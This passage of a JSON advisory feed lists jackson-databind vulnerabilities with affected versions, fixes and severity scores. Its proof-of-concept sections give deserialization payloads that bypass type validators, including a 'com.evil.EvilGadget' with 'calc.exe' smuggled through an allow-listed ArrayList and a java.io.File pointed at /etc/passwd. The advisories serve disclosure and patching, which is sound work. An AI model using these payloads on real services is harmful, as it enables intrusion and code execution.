{ "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind quadratic forward-reference completion " }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.11.0" }, { "fixed": "2.18.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.11.0", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1" ] } ], "aliases": [ "CVE-2026-83557" ], "database_specific": { "cwe_ids": [ "CWE-502", "CWE-915" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:44:25Z", "nvd_published_at": "2026-09-01T15:17:37Z", "severity": "MODERATE" }, "details": "### Summary\n`DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n private final Set\u003cString\u003e UNSAFE = new HashSet\u003c\u003e();\n {\n UNSAFE.add(Object.class.getName());\n UNSAFE.add(java.io.Closeable.class.getName());\n UNSAFE.add(java.io.Serializable.class.getName());\n UNSAFE.add(AutoCloseable.class.getName());\n UNSAFE.add(Cloneable.class.getName());\n UNSAFE.add(Runnable.class.getName()); // [databind#5014]\n UNSAFE.add(\"java.util.logging.Handler\");\n UNSAFE.add(\"javax.naming.Referenceable\");\n UNSAFE.add(\"javax.sql.DataSource\");\n // java.lang.Comparable is NOT present here\n }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n JavaType baseType, JavaType subType) {\n return true; // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class's own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable\u003cSafeThing\u003e {\n public String name;\n public SafeThing() {}\n public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n public Comparable\u003c?\u003e value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control — Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.", "id": "GHSA-gx83-3vf8-gh7j", "modified": "2026-09-28T21:00:05.608227628Z", "published": "2026-09-28T20:44:25Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83557" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6156" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6155" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "type": "CVSS_V3" } ], "summary": "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54514" ], "database_specific": { "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:22:54Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "MODERATE" }, "details": "## Summary\n`JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect.\n\n## Impact\nAn attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.\n\n## Affected / Patched (verified via `git tag --contains` on `1f5a103`)\n- 2.18 line: `\u003e= 2.18.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n## Severity / CWE\nMaintainer: minor. Reporter: LOW. CWE-918 (SSRF).\n\n## Upstream fix\nFasterXML/jackson-databind#5951 (\"Improve InetSocketAddress deserialization\"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.", "id": "GHSA-hgj6-7826-r7m5", "modified": "2026-09-10T03:50:49.909813840Z", "published": "2026-06-23T21:22:54Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/5951" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.7", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.3", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54512" ], "database_specific": { "cwe_ids": [ "CWE-184", "CWE-502" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:21:38Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "HIGH" }, "details": "`jackson-databind`'s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `\u003c`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `\u003c`) against the configured PTV.\n\nIf the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.\n\nAn attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example `java.util.ArrayList\u003ccom.evil.Gadget\u003e` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.\n\nThis is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.\n\n\n## Impact\n\n- **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules.\n- **Arbitrary class instantiation** of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).\n- **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath.\n\nApplications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.\n\n\n## Proof of Concept\n\nConfiguration restricting polymorphic deserialization to a single safe container:\n\n```java\nBasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"java.util.ArrayList\")\n .build();\n\nObjectMapper mapper = JsonMapper.builder()\n .polymorphicTypeValidator(ptv)\n .build();\n```\n\nMalicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`):\n\n```json\n{\"value\":[\"java.util.ArrayList\u003ccom.evil.EvilGadget\u003e\",[{\"cmd\":\"calc.exe\"}]]}\n```\n\nOn vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation.\n\n**Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list):\n\n| Type ID | Smuggled type position |\n|---|---|\n| `java.util.ArrayList\u003cEvil\u003e` | list element |\n| `java.util.HashMap\u003cEvil,String\u003e` | map key |\n| `java.util.HashMap\u003cString,Evil\u003e` | map value |\n| `java.util.ArrayList\u003cjava.util.ArrayList\u003cEvil\u003e\u003e` | nested element |\n| `java.util.ArrayList\u003cEvil[]\u003e` | array element |\n\n---\n\n## Patches\n\nFixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types.\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.", "id": "GHSA-j3rv-43j4-c7qm", "modified": "2026-09-10T03:50:50.187641487Z", "published": "2026-06-23T21:21:38Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54512" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5988" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.8", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mhm7-754m-9p8w/GHSA-mhm7-754m-9p8w.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.18.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.18.0", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.4", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mhm7-754m-9p8w/GHSA-mhm7-754m-9p8w.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.21.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] } ], "database_specific": { "cwe_ids": [ "CWE-863" ], "github_reviewed": true, "github_reviewed_at": "2026-07-21T19:40:12Z", "nvd_published_at": null, "severity": "MODERATE" }, "details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: 